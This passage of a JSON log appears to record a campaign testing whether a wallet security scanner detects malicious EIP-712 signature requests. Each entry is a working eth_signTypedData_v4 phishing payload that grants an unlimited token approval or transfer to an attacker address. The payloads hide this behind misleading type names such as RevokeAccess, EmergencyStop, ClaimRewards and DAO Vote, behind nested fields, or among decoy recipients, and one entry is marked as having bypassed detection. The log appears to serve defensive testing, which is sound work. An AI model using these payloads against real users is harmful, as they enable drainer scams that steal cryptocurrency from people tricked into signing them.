"bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:11:53.709Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:12:02.853Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:12:12.020Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN6-EIP3009-022", "timestamp": "2026-01-31T16:12:21.177Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x918f6a8576a015afcb8f91b722c3ae95423f512288591d2178aa3097a1be8845\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-EIP3009-054", "timestamp": "2026-01-31T16:12:27.710Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xa775fb0adb9723845b2e4ea181c4b395b38ff42b93ebdb39a31e6d9a4408698c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:12:37.428Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:12:46.586Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:12:55.723Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:13:05.051Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:13:14.212Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:13:23.358Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:13:32.502Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:13:41.655Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:13:50.817Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:13:59.971Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:14:09.128Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:14:18.310Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:14:27.474Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:14:36.663Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment 